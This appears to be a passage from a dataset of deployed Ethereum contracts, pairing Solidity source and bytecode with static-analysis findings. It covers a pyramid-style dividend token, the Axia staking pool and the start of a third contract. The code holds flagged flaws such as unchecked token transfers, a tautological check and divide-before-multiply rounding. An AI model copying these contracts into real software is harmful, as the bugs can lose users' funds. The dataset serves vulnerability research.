/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
// is the user referred by a masternode?
if (
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
// really i know you think you do but you don't
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
/**
* @dev Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
/**
* @dev Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0x6060604052600436106101105763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461011e57806306fdde031461014f57806310d0ffdd146101d957806318160ddd146101ef5780632260937314610202578063313ce567146102185780633ccfd60b146102415780634b7503341461025657806356d399e814610269578063688abbf71461027c5780636b2f46321461029457806370a08231146102a75780638620410b146102c6578063949e8acd146102d957806395d89b41146102ec578063a9059cbb146102ff578063e4849b3214610335578063e9fad8ee1461034b578063f088d5471461035e578063fdb5a03e14610372575b61011b346000610385565b50005b341561012957600080fd5b61013d600160a060020a03600435166105ed565b60405190815260200160405180910390f35b341561015a57600080fd5b610162610628565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019e578082015183820152602001610186565b50505050905090810190601f1680156101cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e457600080fd5b61013d6004356106c6565b34156101fa57600080fd5b61013d6106f9565b341561020d57600080fd5b61013d6004356106ff565b341561022357600080fd5b61022b61073b565b60405160ff909116815260200160405180910390f35b341561024c57600080fd5b610254610740565b005b341561026157600080fd5b61013d61080c565b341561027457600080fd5b61013d610863565b341561028757600080fd5b61013d6004351515610869565b341561029f57600080fd5b61013d6108ac565b34156102b257600080fd5b61013d600160a060020a03600435166108ba565b34156102d157600080fd5b61013d6108d5565b34156102e457600080fd5b61013d610920565b34156102f757600080fd5b610162610932565b341561030a57600080fd5b610321600160a060020a036004351660243561099d565b604051901515815260200160405180910390f35b341561034057600080fd5b610254600435610b48565b341561035657600080fd5b610254610cc4565b61013d600160a060020a0360043516610cfb565b341561037d57600080fd5b610254610d07565b600033818080808080806103a461039d8c600a610dc2565b6064610df8565b96506103b461039d886021610dc2565b95506103c08787610e0f565b94506103cc8b88610e0f565b93506103d784610e21565b9250680100000000000000008502915060008311801561040157506006546103ff8482610eb3565b115b151561040c57600080fd5b600160a060020a038a1615801590610436575087600160a060020a03168a600160a060020a031614155b801561045c5750600254600160a060020a038b1660009081526003602052604090205410155b156104a257600160a060020a038a166000908152600460205260409020546104849087610eb3565b600160a060020a038b166000908152600460205260409020556104bd565b6104ac8587610eb3565b945068010000000000000000850291505b60006006541115610521576104d460065484610eb3565b60068190556801000000000000000086028115156104ee57fe5b6007805492909104909101905560065468010000000000000000860281151561051357fe5b048302820382039150610527565b60068390555b600160a060020a03881660009081526003602052604090205461054a9084610eb3565b600160a060020a03808a166000818152600360209081526040808320959095556007546005909152939020805493870286900393840190559192508b16907f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426105b46108d5565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a350909998505050505050505050565b600160a060020a0316600090815260056020908152604080832054600390925290912054600754680100000000000000009102919091030490565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106be5780601f10610693576101008083540402835291602001916106be565b820191906000526020600020905b8154815290600101906020018083116106a157829003601f168201915b505050505081565b60008080806106d961039d86600a610dc2565b92506106e58584610e0f565b91506106f082610e21565b95945050505050565b60065490565b600080600080600654851115151561071657600080fd5b61071f85610ec2565b925061072f61039d84600a610dc2565b91506106f08383610e0f565b601281565b600080600061074f6001610869565b1161075957600080fd5b3391506107666000610869565b600160a060020a0383166000818152600560209081526040808320805468010000000000000000870201905560049091528082208054929055920192509082156108fc0290839051600060405180830381858888f1935050505015156107cb57600080fd5b81600160a060020a03167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc8260405190815260200160405180910390a25050565b6000806000806006546000141561082a57640218711a00935061085d565b61083b670de0b6b3a7640000610ec2565b925061084b61039d84600a610dc2565b91506108578383610e0f565b90508093505b50505090565b60025481565b6000338261087f5761087a816105ed565b6108a3565b600160a060020a0381166000908152600460205260409020546108a1826105ed565b015b91505b50919050565b600160a060020a0330163190565b600160a060020a031660009081526003602052604090205490565b600080600080600654600014156108f35764028fa6ae00935061085d565b610904670de0b6b3a7640000610ec2565b925061091461039d84600a610dc2565b91506108578383610eb3565b60003361092c816108ba565b91505090565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106be5780601f10610693576101008083540402835291602001916106be565b6000806000806000806109ae610920565b116109b857600080fd5b33600160a060020a0381166000908152600360205260409020549094508611156109e157600080fd5b60006109ed6001610869565b11156109fb576109fb610740565b610a0961039d876000610dc2565b9250610a158684610e0f565b9150610a2083610ec2565b9050610a2e60065484610e0f565b600655600160a060020a038416600090815260036020526040902054610a549087610e0f565b600160a060020a038086166000908152600360205260408082209390935590891681522054610a839083610eb3565b600160a060020a0388811660008181526003602090815260408083209590955560078054948a16835260059091528482208054948c02909403909355825491815292909220805492850290920190915554600654610af79190680100000000000000008402811515610af157fe5b04610eb3565b600755600160a060020a038088169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a35060019695505050505050565b6000806000806000806000610b5b610920565b11610b6557600080fd5b33600160a060020a038116600090815260036020526040902054909650871115610b8e57600080fd5b869450610b9a85610ec2565b9350610baa61039d85600a610dc2565b9250610bb68484610e0f565b9150610bc460065486610e0f565b600655600160a060020a038616600090815260036020526040902054610bea9086610e0f565b600160a060020a0387166000908152600360209081526040808320939093556007546005909152918120805492880268010000000000000000860201928390039055600654919250901115610c5b57610c57600754600654680100000000000000008602811515610af157fe5b6007555b85600160a060020a03167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442610c916108d5565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a250505050505050565b33600160a060020a03811660009081526003602052604081205490811115610cef57610cef81610b48565b610cf7610740565b5050565b60006108a63483610385565b600080600080610d176001610869565b11610d2157600080fd5b610d2b6000610869565b33600160a060020a038116600090815260056020908152604080832080546801000000000000000087020190556004909152812080549082905590920194509250610d77908490610385565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab3615326458848360405191825260208201526040908101905180910390a2505050565b600080831515610dd55760009150610df1565b50828202828482811515610de557fe5b0414610ded57fe5b8091505b5092915050565b6000808284811515610e0657fe5b04949350505050565b600082821115610e1b57fe5b50900390565b6006546000906b204fce5e3e25026110000000908290633b9aca00610ea0610e9a7259aedfc10d7279c5eed140164540000000000088026002850a670de0b6b3a764000002016f0f0bdc21abb48db201e86d40000000008502017704140c78940f6a24fdffc78873d4490d210000000000000001610f2c565b85610e0f565b811515610ea957fe5b0403949350505050565b600082820183811015610ded57fe5b600654600090670de0b6b3a7640000838101918101908390610f19640218711a00828504633b9aca0002018702600283670de0b6b3a763ffff1982890a8b90030104633b9aca0002811515610f1357fe5b04610e0f565b811515610f2257fe5b0495945050505050565b80600260018201045b818110156108a6578091506002818285811515610f4e57fe5b0401811515610f5957fe5b049050610f355600a165627a7a723058201c5880467809c05e3fdb7d92d0dba8afbe3dc9a4863e57482c59b8a236c2f1a90029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 10,675 |
0xbd1d54139e65bf61d1ff74f584d7e3fbcb94dbd1 | /*
* @dev This is the Axia Protocol Staking pool 2 contract (Defi Fund Pool),
* a part of the protocol where stakers are rewarded in AXIA tokens
* when they make stakes of liquidity tokens from the oracle pool.
* stakers reward come from the daily emission from the total supply into circulation,
* this happens daily and upon the reach of a new epoch each made of 180 days,
* halvings are experienced on the emitting amount of tokens.
* on the 11th epoch all the tokens would have been completed emitted into circulation,
* from here on, the stakers will still be earning from daily emissions
* which would now be coming from the accumulated basis points over the epochs.
* stakers are not charged any fee for unstaking.
*/
pragma solidity 0.6.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract DSP{
using SafeMath for uint256;
//======================================EVENTS=========================================//
event StakeEvent(address indexed staker, address indexed pool, uint amount);
event UnstakeEvent(address indexed unstaker, address indexed pool, uint amount);
event RewardEvent(address indexed staker, address indexed pool, uint amount);
event RewardStake(address indexed staker, address indexed pool, uint amount);
//======================================STAKING POOLS=========================================//
address public Axiatoken;
address public DefiIndexFunds;
address public administrator;
bool public stakingEnabled;
uint256 constant private FLOAT_SCALAR = 2**64;
uint256 public MINIMUM_STAKE = 1000000000000000000; // 1 minimum
uint256 public MIN_DIVIDENDS_DUR = 18 hours;
uint public infocheck;
struct User {
uint256 balance;
uint256 frozen;
int256 scaledPayout;
uint256 staketime;
}
struct Info {
uint256 totalSupply;
uint256 totalFrozen;
mapping(address => User) users;
uint256 scaledPayoutPerToken; //pool balance
address admin;
}
Info private info;
constructor() public {
info.admin = msg.sender;
stakingEnabled = false;
}
//======================================ADMINSTRATION=========================================//
modifier onlyCreator() {
require(msg.sender == info.admin, "Ownable: caller is not the administrator");
_;
}
modifier onlyAxiaToken() {
require(msg.sender == Axiatoken, "Authorization: only token contract can call");
_;
}
function tokenconfigs(address _axiatoken, address _defiindex) public onlyCreator returns (bool success) {
require(_axiatoken != _defiindex, "Insertion of same address is not supported");
require(_axiatoken != address(0) && _defiindex != address(0), "Insertion of address(0) is not supported");
Axiatoken = _axiatoken;
DefiIndexFunds = _defiindex;
return true;
}
function _minStakeAmount(uint256 _number) onlyCreator public {
MINIMUM_STAKE = _number*1000000000000000000;
}
function stakingStatus(bool _status) public onlyCreator {
require(Axiatoken != address(0) && DefiIndexFunds != address(0), "Pool addresses are not yet setup");
stakingEnabled = _status;
}
function MIN_DIVIDENDS_DUR_TIME(uint256 _minDuration) public onlyCreator {
MIN_DIVIDENDS_DUR = _minDuration;
}
//======================================USER WRITE=========================================//
function StakeTokens(uint256 _tokens) external {
_stake(_tokens);
}
function UnstakeTokens(uint256 _tokens) external {
_unstake(_tokens);
}
//======================================USER READ=========================================//
function totalFrozen() public view returns (uint256) {
return info.totalFrozen;
}
function frozenOf(address _user) public view returns (uint256) {
return info.users[_user].frozen;
}
function dividendsOf(address _user) public view returns (uint256) {
if(info.users[_user].staketime < MIN_DIVIDENDS_DUR){
return 0;
}else{
return uint256(int256(info.scaledPayoutPerToken * info.users[_user].frozen) - info.users[_user].scaledPayout) / FLOAT_SCALAR;
}
}
function userData(address _user) public view
returns (uint256 totalTokensFrozen, uint256 userFrozen,
uint256 userDividends, uint256 userStaketime, int256 scaledPayout) {
return (totalFrozen(), frozenOf(_user), dividendsOf(_user), info.users[_user].staketime, info.users[_user].scaledPayout);
}
//======================================ACTION CALLS=========================================//
function _stake(uint256 _amount) internal {
require(stakingEnabled, "Staking not yet initialized");
require(IERC20(DefiIndexFunds).balanceOf(msg.sender) >= _amount, "Insufficient DeFi AFT balance");
require(frozenOf(msg.sender) + _amount >= MINIMUM_STAKE, "Your amount is lower than the minimum amount allowed to stake");
require(IERC20(DefiIndexFunds).allowance(msg.sender, address(this)) >= _amount, "Not enough allowance given to contract yet to spend by user");
info.users[msg.sender].staketime = now;
info.totalFrozen += _amount;
info.users[msg.sender].frozen += _amount;
info.users[msg.sender].scaledPayout += int256(_amount * info.scaledPayoutPerToken);
IERC20(DefiIndexFunds).transferFrom(msg.sender, address(this), _amount); // Transfer liquidity tokens from the sender to this contract
emit StakeEvent(msg.sender, address(this), _amount);
}
function _unstake(uint256 _amount) internal {
require(frozenOf(msg.sender) >= _amount, "You currently do not have up to that amount staked");
info.totalFrozen -= _amount;
info.users[msg.sender].frozen -= _amount;
info.users[msg.sender].scaledPayout -= int256(_amount * info.scaledPayoutPerToken);
require(IERC20(DefiIndexFunds).transfer(msg.sender, _amount), "Transaction failed");
emit UnstakeEvent(address(this), msg.sender, _amount);
}
function TakeDividends() external returns (uint256) {
uint256 _dividends = dividendsOf(msg.sender);
require(_dividends >= 0, "you do not have any dividend yet");
info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR);
require(IERC20(Axiatoken).transfer(msg.sender, _dividends), "Transaction Failed"); // Transfer dividends to msg.sender
emit RewardEvent(msg.sender, address(this), _dividends);
return _dividends;
}
function scaledToken(uint _amount) external onlyAxiaToken returns(bool){
info.scaledPayoutPerToken += _amount * FLOAT_SCALAR / info.totalFrozen;
infocheck = info.scaledPayoutPerToken;
return true;
}
function mulDiv (uint x, uint y, uint z) public pure returns (uint) {
(uint l, uint h) = fullMul (x, y);
assert (h < z);
uint mm = mulmod (x, y, z);
if (mm > l) h -= 1;
l -= mm;
uint pow2 = z & -z;
z /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint r = 1;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
return l * r;
}
function fullMul (uint x, uint y) private pure returns (uint l, uint h) {
uint mm = mulmod (x, y, uint (-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
} | 0x608060405234801561001057600080fd5b506004361061012b5760003560e01c80637640cb9e116100ad578063b821b6bf11610071578063b821b6bf146102c5578063c8910913146102cd578063e0287b3e1461031e578063f3c756dc1461033b578063f53d0a8e146103585761012b565b80637640cb9e1461023b578063a43fc87114610258578063aa9a091214610275578063ac3c85351461029e578063b333de24146102bd5761012b565b8063368a36c4116100f4578063368a36c4146101ba578063376edab6146101d957806342d41964146102075780636387c9491461022b57806369c18e12146102335761012b565b806265318b1461013057806308dbbb03146101685780631bf6e00d146101705780631cfff51b146101965780631e7f87bc146101b2575b600080fd5b6101566004803603602081101561014657600080fd5b50356001600160a01b0316610360565b60408051918252519081900360200190f35b6101566103c7565b6101566004803603602081101561018657600080fd5b50356001600160a01b03166103cd565b61019e6103eb565b604080519115158252519081900360200190f35b6101566103fb565b6101d7600480360360208110156101d057600080fd5b5035610401565b005b61019e600480360360408110156101ef57600080fd5b506001600160a01b038135811691602001351661040d565b61020f610535565b604080516001600160a01b039092168252519081900360200190f35b61020f610544565b610156610553565b61019e6004803603602081101561025157600080fd5b5035610559565b6101d76004803603602081101561026e57600080fd5b50356105ce565b6101566004803603606081101561028b57600080fd5b5080359060208101359060400135610626565b6101d7600480360360208110156102b457600080fd5b503515156106da565b6101566107b6565b6101566108e0565b6102f3600480360360208110156102e357600080fd5b50356001600160a01b03166108e6565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b6101d76004803603602081101561033457600080fd5b503561093d565b6101d76004803603602081101561035157600080fd5b503561098b565b61020f610994565b6004546001600160a01b0382166000908152600860205260408120600301549091111561038f575060006103c2565b6001600160a01b03821660009081526008602052604090206002810154600190910154600954600160401b929102030490505b919050565b60035481565b6001600160a01b031660009081526008602052604090206001015490565b600254600160a01b900460ff1681565b60075490565b61040a816109a3565b50565b600a546000906001600160a01b031633146104595760405162461bcd60e51b8152600401808060200182810382526028815260200180610f446028913960400191505060405180910390fd5b816001600160a01b0316836001600160a01b031614156104aa5760405162461bcd60e51b815260040180806020018281038252602a815260200180610f94602a913960400191505060405180910390fd5b6001600160a01b038316158015906104ca57506001600160a01b03821615155b6105055760405162461bcd60e51b8152600401808060200182810382526028815260200180610f6c6028913960400191505060405180910390fd5b50600080546001600160a01b039384166001600160a01b0319918216179091556001805492909316911617815590565b6001546001600160a01b031681565b6000546001600160a01b031681565b60055481565b600080546001600160a01b031633146105a35760405162461bcd60e51b815260040180806020018281038252602b815260200180610ea1602b913960400191505060405180910390fd5b600754600160401b8302816105b457fe5b600980549290910490910190819055600555506001919050565b600a546001600160a01b031633146106175760405162461bcd60e51b8152600401808060200182810382526028815260200180610f446028913960400191505060405180910390fd5b670de0b6b3a764000002600355565b60008060006106358686610b1e565b9150915083811061064257fe5b6000848061064c57fe5b868809905082811115610660576001820391505b91829003916000859003851680868161067557fe5b04955080848161068157fe5b04935080816000038161069057fe5b046001019290920292909201600285810380870282030280870282030280870282030280870282030280870282030280870282030295860290039094029390930295945050505050565b600a546001600160a01b031633146107235760405162461bcd60e51b8152600401808060200182810382526028815260200180610f446028913960400191505060405180910390fd5b6000546001600160a01b03161580159061074757506001546001600160a01b031615155b610798576040805162461bcd60e51b815260206004820181905260248201527f506f6f6c2061646472657373657320617265206e6f7420796574207365747570604482015290519081900360640190fd5b60028054911515600160a01b0260ff60a01b19909216919091179055565b6000806107c233610360565b3360008181526008602090815260408083206002018054600160401b87020190558254815163a9059cbb60e01b815260048101959095526024850186905290519495506001600160a01b03169363a9059cbb93604480820194918390030190829087803b15801561083257600080fd5b505af1158015610846573d6000803e3d6000fd5b505050506040513d602081101561085c57600080fd5b50516108a4576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8811985a5b195960721b604482015290519081900360640190fd5b604080518281529051309133917f8c998377165b6abd6e99f8b84a86ed2c92d0055aeef42626fedea45c2909f6eb9181900360200190a3905090565b60045481565b60008060008060006108f66103fb565b6108ff876103cd565b61090888610360565b6001600160a01b0398909816600090815260086020526040902060038101546002909101549299919897509550909350915050565b600a546001600160a01b031633146109865760405162461bcd60e51b8152600401808060200182810382526028815260200180610f446028913960400191505060405180910390fd5b600455565b61040a81610b4b565b6002546001600160a01b031681565b806109ad336103cd565b10156109ea5760405162461bcd60e51b8152600401808060200182810382526032815260200180610e6f6032913960400191505060405180910390fd5b6007805482900390553360008181526008602090815260408083206001818101805488900390556009546002909201805492880290920390915554815163a9059cbb60e01b815260048101959095526024850186905290516001600160a01b039091169363a9059cbb9360448083019493928390030190829087803b158015610a7257600080fd5b505af1158015610a86573d6000803e3d6000fd5b505050506040513d6020811015610a9c57600080fd5b5051610ae4576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b604080518281529051339130917f15fba2c381f32b0e84d073dd1adb9edbcfd33a033ee48aaea415ac61ca7d448d9181900360200190a350565b6000808060001984860990508385029250828103915082811015610b43576001820391505b509250929050565b600254600160a01b900460ff16610ba9576040805162461bcd60e51b815260206004820152601b60248201527f5374616b696e67206e6f742079657420696e697469616c697a65640000000000604482015290519081900360640190fd5b600154604080516370a0823160e01b8152336004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610bf357600080fd5b505afa158015610c07573d6000803e3d6000fd5b505050506040513d6020811015610c1d57600080fd5b50511015610c72576040805162461bcd60e51b815260206004820152601d60248201527f496e73756666696369656e742044654669204146542062616c616e6365000000604482015290519081900360640190fd5b60035481610c7f336103cd565b011015610cbd5760405162461bcd60e51b815260040180806020018281038252603d815260200180610f07603d913960400191505060405180910390fd5b60015460408051636eb1769f60e11b8152336004820152306024820152905183926001600160a01b03169163dd62ed3e916044808301926020929190829003018186803b158015610d0d57600080fd5b505afa158015610d21573d6000803e3d6000fd5b505050506040513d6020811015610d3757600080fd5b50511015610d765760405162461bcd60e51b815260040180806020018281038252603b815260200180610ecc603b913960400191505060405180910390fd5b33600081815260086020908152604080832042600382015560078054870190556001808201805488019055600954600290920180549288029092019091555481516323b872dd60e01b815260048101959095523060248601526044850186905290516001600160a01b03909116936323b872dd9360648083019493928390030190829087803b158015610e0857600080fd5b505af1158015610e1c573d6000803e3d6000fd5b505050506040513d6020811015610e3257600080fd5b5050604080518281529051309133917f160ffcaa807f78c8b4983836e2396338d073e75695ac448aa0b5e4a75b210b1d9181900360200190a35056fe596f752063757272656e746c7920646f206e6f74206861766520757020746f207468617420616d6f756e74207374616b6564417574686f72697a6174696f6e3a206f6e6c7920746f6b656e20636f6e74726163742063616e2063616c6c4e6f7420656e6f75676820616c6c6f77616e636520676976656e20746f20636f6e74726163742079657420746f207370656e642062792075736572596f757220616d6f756e74206973206c6f776572207468616e20746865206d696e696d756d20616d6f756e7420616c6c6f77656420746f207374616b654f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f72496e73657274696f6e206f662061646472657373283029206973206e6f7420737570706f72746564496e73657274696f6e206f662073616d652061646472657373206973206e6f7420737570706f72746564a26469706673582212209531069c6305acecf9a94bb5f98484110d3e49aed0efb838a21337432ba94b7264736f6c63430006040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 10,676 |
0x7d465d9a3766aaa6d502a56a419a55e11fd40e68 | pragma solidity ^0.4.25;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
